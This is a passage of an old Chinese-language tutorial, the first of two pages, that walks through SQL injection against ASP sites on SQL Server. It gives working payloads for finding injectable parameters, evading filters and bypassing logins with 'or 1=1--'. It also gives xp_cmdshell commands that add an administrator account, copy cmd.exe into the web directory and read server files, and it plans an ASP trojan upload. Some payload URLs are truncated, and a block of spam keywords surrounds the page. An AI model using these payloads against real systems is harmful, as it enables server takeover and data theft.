国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区

掃一掃
關注微信公眾號

什么是注入式攻擊(1)
2005-12-18   

隨著B/S模式應用開發的發展,使用這種模式編寫應用程序的程序員也越來越多。但是由于程序員的水平及經驗也參差不齊,相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。用戶可以提交一段數據庫查詢代碼,根
據程序返回的結果,獲得某些他想得知的數據,這就是所謂的SQL Injection,即SQL注入。
SQL注入是從正常的WWW端口訪問,而且表面看起來跟一般的Web頁面訪問沒什么區別,所以目前市面的防火墻都不會對SQL注入發出警報,如果管理員沒查看IIS日志的習慣,可能被入侵很長時間都不會發覺。但是,SQL注入的手法相當靈活,在注入的時候會碰到很多意外的情況。能不能根據具體情況進行分析,構造巧妙的SQL語句,從而成功獲取想要的數據。
據統計,網站用ASP+Access或SQLServer的占70%以上,PHP+MySQ占L20%,其他的不足10%。在本文,以SQL-SERVER+ASP例說明SQL注入的原理、方法與過程。(PHP注入的文章由NB聯盟的另一位朋友zwell撰寫的有關文章)
SQL注入攻擊的總體思路是:
l 發現SQL注入位置;
l 判斷后臺數據庫類型;
l 確定XP_CMDSHELL可執行情況
l 發現WEB虛擬目錄
l 上傳ASP木馬;
l 得到管理員權限;
一、SQL注入漏洞的判斷
一般來說,SQL注入一般存在于形如:
為了全面了解動態網頁回答的信息,首選請調整IE的配置。把IE菜單-工具-Internet選項-高級-顯示友好HTTP錯誤信息前面的勾去掉。
為了把問題說明清楚,以下以
1、整型參數的判斷
當輸入的參數YY為整型時,通常abc.asp中SQL語句原貌大致如下:
select * from 表名 where 字段=YY,所以可以用以下步驟測試SQL注入是否存在。
';(附加一個單引號),此時abc.ASP中的SQL語句變成了
select * from 表名 where 字段=YY',abc.asp運行異常;


如果以上三步全面滿足,abc.asp中一定存在SQL注入漏洞。
2、字符串型參數的判斷
當輸入的參數YY為字符串時,通常abc.asp中SQL語句原貌大致如下:
select * from 表名 where 字段='YY',所以可以用以下步驟測試SQL注入是否存在。
';(附加一個單引號),此時abc.ASP中的SQL語句變成了
select * from 表名 where 字段=YY',abc.asp運行異常;
'='1', abc.asp運行正常,而且與
  ③'='2', abc.asp運行異常;
如果以上三步全面滿足,abc.asp中一定存在SQL注入漏洞。
3、特殊情況的處理
有時ASP程序員會在程序員過濾掉單引號等字符,以防止SQL注入。此時可以用以下幾種方法試一試。
①大小定混合法:由于VBS并不區分大小寫,而程序員在過濾時通常要么全部過濾大寫字符串,要么全部過濾小寫字符串,而大小寫混合往往會被忽視。如用SelecT代替select,SELECT等;
②UNICODE法:在IIS中,以UNICODE字符集實現國際化,我們完全可以IE中輸入的字符串化成UNICODE字符串進行輸入。如+ =%2B,空格=%20 等;URLEncode信息參見附件一;
③ASCII碼法:可以把輸入的部分或全部字符全部用ASCII碼代替,如U=chr(85),a=chr(97)等,ASCII信息參見附件二;
二、區分數據庫服務器類型
一般來說,ACCESS與SQL-SERVER是最常用的數據庫服務器,盡管它們都支持T-SQL標準,但還有不同之處,而且不同的數據庫有不同的攻擊方法,必須要區別對待。
1、 利用數據庫服務器的系統變量進行區分
SQL-SERVER有user,db_name()等系統變量,利用這些系統值不僅可以判斷SQL-SERVER,而且還可以得到大量有用信息。如:
and user>0 不僅可以判斷是否是SQL-SERVER,而還可以得到當前連接到數據庫的用戶名

2、利用系統表
ACCESS的系統表是msysobjects,且在WEB環境下沒有訪問權限,而SQL-SERVER的系統表是sysobjects,在WEB環境下有訪問權限。對于以下兩條語句:


若數據庫是SQL-SERVE,則第一條,abc.asp一定運行正常,第二條則異常;若是ACCESS則兩條都會異常。
3、 MSSQL三個關鍵系統表
sysdatabases系統表:Microsoft SQL Server 上的每個數據庫在表中占一行。最初安裝 SQL Server 時,sysdatabases 包含 master、model、msdb、mssqlweb 和 tempdb 數據庫的項。該表只存儲在 master 數據庫中。 這個表保存在master數據庫中,這個表中保存的是什么信息呢?這個非常重要。他是 保存了所有的庫名,以及庫的ID和一些相關信息。
這里我把對于我們有用的字段名稱和相關說明給大家列出來。name //表示庫的名字。
dbid //表示庫的ID,dbid從1到5是系統的。分別是:master、model、msdb、mssqlweb、tempdb 這五個庫。用select * from master.dbo.sysdatabases 就可以查詢出所有的庫名。
Sysobjects:SQL-SERVER的每個數據庫內都有此系統表,它存放該數據庫內創建的所有對象,如約束、默認值、日志、規則、存儲過程等,每個對象在表中占一行。以下是此系統表的字段名稱和相關說明。
Name,id,xtype,uid,status:分別是對象名,對象ID,對象類型,所有者對象的用戶ID,對象狀態。
對象類型(xtype)。可以是下列對象類型中的一種:
C = CHECK 約束
D = 默認值或 DEFAULT 約束
F = FOREIGN KEY 約束
L = 日志
FN = 標量函數
IF = 內嵌表函數
P = 存儲過程
PK = PRIMARY KEY 約束(類型是 K)
RF = 復制篩選存儲過程
S = 系統表
TF = 表函數
TR = 觸發器
U = 用戶表
UQ = UNIQUE 約束(類型是 K)
V = 視圖
X = 擴展存儲過程
當xtype='U' and status>0代表是用戶建立的表,對象名就是表名,對象ID就是表的ID值。
用: select * from ChouYFD.dbo.sysobjects where xtype='U' and status>0 就可以列出庫ChouYFD中所有的用戶建立的表名。

syscolumns :每個表和視圖中的每列在表中占一行,存儲過程中的每個參數在表中也占一行。該表位于每個數據庫中。主要字段有:
name ,id, colid :分別是字段名稱,表ID號,字段ID號,其中的 ID 是 剛上我們用sysobjects得到的表的ID號。
用: select * from ChouYFD.dbo.syscolumns where id=123456789 得到ChouYFD這個庫中,表的ID是123456789中的所有字段列表。
三、確定XP_CMDSHELL可執行情況
若當前連接數據的帳號具有SA權限,且master.dbo.xp_cmdshell擴展存儲過程(調用此存儲過程可以直接使用操作系統的shell)能夠正確執行,則整個計算機可以通過以下幾種方法完全控制,以后的所有步驟都可以省
1、
2、
3、"net user aaa bbb /add"-- (master是SQL-SERVER的主數據庫;名中的分號表示SQL-SERVER執行完分號前的語句名,繼續執行其后面的語句;"—"號是注解,表示其后面的所有內容僅為注釋,系統并不執行)可以直接增加操作系統帳戶aaa,密碼為bbb。
4、"net localgroup administrators aaa /add"-- 把剛剛增加的帳戶aaa加到administrators組中。
5、'c:\inetpub\wwwroot\save.db' 則把得到的數據內容全部備份到WEB目錄下,再用HTTP把此文件下載(當然首選要知道WEB虛擬目錄)。
6、通過復制CMD創建UNICODE漏洞
HTTP://xxx.xxx.xxx/abc.asp?p=YY;exe ... dbo.xp_cmdshell "copy c:\winnt\system32\cmd.exe c:\inetpub\scripts\cmd.exe" 便制造了一個UNICODE漏洞,通過此漏洞的利用方法,便完成了對整個計算機的控制(當然首選要知道WEB虛擬目錄)。
四、發現WEB虛擬目錄
只有找到WEB虛擬目錄,才能確定放置ASP木馬的位置,進而得到USER權限。有兩種方法比較有效。
一是根據經驗猜解,一般來說,WEB虛擬目錄是:c:\inetpub\wwwroot; D:\inetpub\wwwroot; E:\inetpub\wwwroot等,而可執行虛擬目錄是:c:\inetpub\scripts; D:\inetpub\scripts; E:\inetpub\scripts等。
二是遍歷系統的目錄結構,分析結果并發現WEB虛擬目錄;
先創建一個臨時表:temp
HTTP://xxx.xxx.xxx/abc.asp?p=YY;create&n ... mp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
接下來:
(1)我們可以利用xp_availablemedia來獲得當前所有驅動器,并存入temp表中:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert temp ... ter.dbo.xp_availablemedia;--
我們可以通過查詢temp的內容來獲得驅動器列表及相關信息
(2)我們可以利用xp_subdirs獲得子目錄列表,并存入temp表中:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(i ... dbo.xp_subdirs 'c:\';--
(3)我們還可以利用xp_dirtree獲得所有子目錄的目錄樹結構,并寸入temp表中:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--
這樣就可以成功的瀏覽到所有的目錄(文件夾)列表:
如果我們需要查看某個文件的內容,可以通過執行xp_cmdsell:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id) exec ... nbsp;'type c:\web\index.asp';--
使用'bulk insert'語法可以將一個文本文件插入到一個臨時表中。如:bulk insert temp(id) from 'c:\inetpub\wwwroot\index.asp'
瀏覽temp就可以看到index.asp文件的內容了!通過分析各種ASP文件,可以得到大量系統信息,WEB建設與管理信息,甚至可以得到SA帳號的連接密碼。
當然,如果xp_cmshell能夠執行,我們可以用它來完成:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id)&nbs ... cmdshell 'dir c:\';--
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id)&n ... p_cmdshell 'dir c:\ *.asp /s/a';--
通過xp_cmdshell我們可以看到所有想看到的,包括W3svc
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id) exec master.dbo.xp_cmdshe ... ub\AdminScripts\adsutil.vbs enum w3svc'
但是,如果不是SA權限,我們還可以使用
HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--
注意:
1、以上每完成一項瀏覽后,應刪除TEMP中的所有內容,刪除方法是:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;delete from temp;--
2、瀏覽TEMP表的方法是:(假設TestDB是當前連接的數據庫名)
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top& ... nbsp;TestDB.dbo.temp )>0 得到表TEMP中第一條記錄id字段的值,并與整數進行比較,顯然abc.asp工作異常,但在異常中卻可以發現id字段的值。假設發現的表名是xyz,則
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 id from  ... ere id not in('xyz'))>0 得到表TEMP中第二條記錄id字段的值。
五、上傳ASP木馬
所謂ASP木馬,就是一段有特殊功能的ASP代碼,并放入WEB虛擬目錄的Scripts下,遠程客戶通過IE就可執行它,進而得到系統的USER權限,實現對系統的初步控制。上傳ASP木馬一般有兩種比較有效的方法:
1、利用WEB的遠程管理功能
許多WEB站點,為了維護的方便,都提供了遠程管理的功能;也有不少WEB站點,其內容是對于不同的用戶有不同的訪問權限。為了達到對用戶權限的控制,都有一個網頁,要求用戶名與密碼,只有輸入了正確的值,才能進行下一步的操作,可以實現對WEB的管理,如上傳、下載文件,目錄瀏覽、修改配置等。
因此,若獲取正確的用戶名與密碼,不僅可以上傳ASP木馬,有時甚至能夠直接得到USER權限而瀏覽系統,上一步的"發現WEB虛擬目錄"的復雜操作都可省略。
用戶名及密碼一般存放在一張表中,發現這張表并讀取其中內容便解決了問題。以下給出兩種有效方法。
A、 注入法:
從理論上說,認證網頁中會有型如:
select * from admin where username='XXX' and password='YYY' 的語句,若在正式運行此句之前,沒有進行必要的字符過濾,則很容易實施SQL注入。
如在用戶名文本框內輸入:abc' or 1=1-- 在密碼框內輸入:123 則SQL語句變成:
select * from admin where username='abc' or 1=1 and password='123' 不管用戶輸入任何用戶名與密碼,此語句永遠都能正確執行,用戶輕易騙過系統,獲取合法身份。
B、猜解法:
基本思路是:猜解所有數據庫名稱,猜出庫中的每張表名,分析可能是存放用戶名與密碼的表名,猜出表中的每個字段名,猜出表中的每條記錄內容。
l 猜解所有數據庫名稱
HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) <>0 因為 dbid 的值從1到5,是系統用了。所以用戶自己建的一定是從6開始的。并且我們提交了 name>1 (name字段是一個字符型的字段和數字比較會出錯),abc.asp工作異常,可得到第一個數據庫名,同理把DBID分別改成7,8,9,10,11,12...就可得到所有數據庫名。
以下假設得到的數據庫名是TestDB。

共2頁: 1 [2] 下一頁

熱詞搜索:

上一篇:全力打造安全主機保護企業網站安全
下一篇:PGP加密的優越性

分享到: 收藏
国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区
久久亚洲一区二区三区四区| 国产三级久久久| 国产精品综合一区二区三区| 亚洲美女电影在线| 精品国精品自拍自在线| 欧美在线短视频| 国产大片一区二区| 视频在线观看一区| 亚洲少妇30p| 久久久国际精品| 日韩一区二区中文字幕| 色综合视频一区二区三区高清| 国产一区二区三区国产| 日韩在线一区二区三区| 一区二区三区在线影院| 国产精品久久久久久久浪潮网站| 日韩欧美久久久| 欧美日韩精品一区二区| 色综合视频在线观看| 丁香激情综合五月| 韩国精品在线观看| 另类欧美日韩国产在线| 亚洲图片欧美视频| 亚洲免费在线观看视频| 中文文精品字幕一区二区| 久久久久久久久伊人| 日韩精品一区在线观看| 日韩一级二级三级精品视频| 在线观看日韩毛片| 色成年激情久久综合| 成人18精品视频| 成人综合在线观看| 成人永久看片免费视频天堂| 国产麻豆精品在线| 国产伦精一区二区三区| 国产麻豆视频精品| 国产成人免费在线观看不卡| 国产一区二区不卡老阿姨| 精东粉嫩av免费一区二区三区| 麻豆极品一区二区三区| 蜜桃av噜噜一区二区三区小说| 男女视频一区二区| 裸体健美xxxx欧美裸体表演| 青青草视频一区| 久草精品在线观看| 精品亚洲国产成人av制服丝袜 | 日韩欧美自拍偷拍| 欧美一区午夜精品| 亚洲一区在线观看免费| 日韩欧美二区三区| 中文字幕在线不卡视频| 日韩视频不卡中文| 亚洲一区av在线| 欧美一级视频精品观看| 国产精品77777| 亚洲婷婷综合久久一本伊一区| 91麻豆成人久久精品二区三区| 亚洲女同女同女同女同女同69| 欧美三级中文字| 精品在线播放午夜| 亚洲欧洲色图综合| 欧美日韩精品一区二区三区四区 | av在线播放一区二区三区| 一区二区免费视频| 精品第一国产综合精品aⅴ| 国产白丝精品91爽爽久久| 亚洲女人的天堂| 日韩美一区二区三区| 99久久精品国产网站| 日韩激情av在线| 国产精品系列在线| 欧美日韩aaaaa| 国产91露脸合集magnet| 肉色丝袜一区二区| 亚洲国产精品ⅴa在线观看| 欧美日韩一区二区欧美激情| 国产一区二区三区在线观看精品| 亚洲美女偷拍久久| 欧美精品一区二区三区很污很色的| 99久久er热在这里只有精品15| 欧美aaa在线| 亚洲精品久久嫩草网站秘色| 精品免费视频.| 欧美日韩日本视频| 99在线精品视频| 国产麻豆欧美日韩一区| 图片区小说区国产精品视频| 国产精品久久久爽爽爽麻豆色哟哟| 欧美精品欧美精品系列| av色综合久久天堂av综合| 蜜桃av噜噜一区| 丝袜亚洲另类欧美| 亚洲曰韩产成在线| 中文字幕色av一区二区三区| 久久久久久久精| 日韩欧美亚洲另类制服综合在线| 欧美亚洲一区二区在线| 91丝袜高跟美女视频| 国产成人在线影院| 极品美女销魂一区二区三区| 日韩高清欧美激情| 亚洲成人免费电影| 亚洲一区二区av在线| 亚洲精品成人天堂一二三| 亚洲欧美综合色| 国产精品乱人伦中文| 久久人人爽爽爽人久久久| 日韩免费电影一区| 日韩免费视频线观看| 精品乱人伦小说| 久久综合一区二区| 久久一留热品黄| 26uuu色噜噜精品一区二区| 精品久久久久久久人人人人传媒| 欧美一区二区三区爱爱| 欧美一区二区精美| 欧美一区二区视频在线观看 | 99re免费视频精品全部| 国产成人综合亚洲91猫咪| 国产99久久久久久免费看农村| 狠狠狠色丁香婷婷综合激情| 国产伦精品一区二区三区视频青涩 | 欧美国产精品久久| 中文一区二区在线观看| 国产精品久久久久aaaa| 国产精品久久久99| 亚洲精选视频免费看| 亚洲欧美另类久久久精品 | 亚洲国产精品精华液2区45| 久久精品人人做| 国产精品免费av| 亚洲欧洲制服丝袜| 亚洲成av人片www| 美女看a上一区| 国产伦精品一区二区三区视频青涩 | 欧美日韩中文字幕一区| 欧美日本精品一区二区三区| 欧美一区二区三区在| 欧美成人三级电影在线| 亚洲国产精品ⅴa在线观看| 亚洲欧美日韩久久| 亚洲电影视频在线| 激情深爱一区二区| 成人国产免费视频| 欧美日韩一二三区| 久久天堂av综合合色蜜桃网| 综合在线观看色| 日本午夜精品视频在线观看| 黄色资源网久久资源365| 成人av先锋影音| 欧美巨大另类极品videosbest| 亚洲精品一区二区在线观看| 国产精品国产自产拍在线| 性久久久久久久久久久久| 国产一区二区在线免费观看| 91丨九色丨蝌蚪丨老版| 日韩欧美激情在线| 国产精品国产自产拍高清av| 视频一区二区国产| 成人av在线资源网| 欧美一区2区视频在线观看| 中文一区一区三区高中清不卡| 图片区日韩欧美亚洲| 99精品国产99久久久久久白柏| 欧美一区二区三区喷汁尤物| 亚洲欧美日韩国产中文在线| 精品在线免费观看| 欧美日韩高清不卡| 中文字幕一区二区三区不卡在线| 蜜桃av一区二区| 欧美三级电影在线看| 中文在线资源观看网站视频免费不卡| 日韩成人一级片| 在线欧美日韩国产| 中文字幕亚洲区| 韩国av一区二区三区四区| 欧美日韩国产精选| 亚洲美腿欧美偷拍| 成人97人人超碰人人99| 久久久精品天堂| 久久精品国产77777蜜臀| 欧美日韩亚洲综合在线 欧美亚洲特黄一级| 久久久www成人免费毛片麻豆 | 亚洲精选在线视频| 国产成人综合亚洲网站| 日韩欧美一区二区三区在线| 亚洲成人资源在线| 色偷偷久久人人79超碰人人澡| 欧美高清在线精品一区| 国产一区二区成人久久免费影院| 日韩精品一区二区三区在线 | 一区二区三区在线视频免费| 成人h动漫精品| 国产精品视频看| 成人国产精品免费| 中文字幕一区二区三区乱码在线 | 91精品国产综合久久精品图片| 亚洲综合久久av| 欧美在线观看一区二区| 一区二区三区在线免费观看 |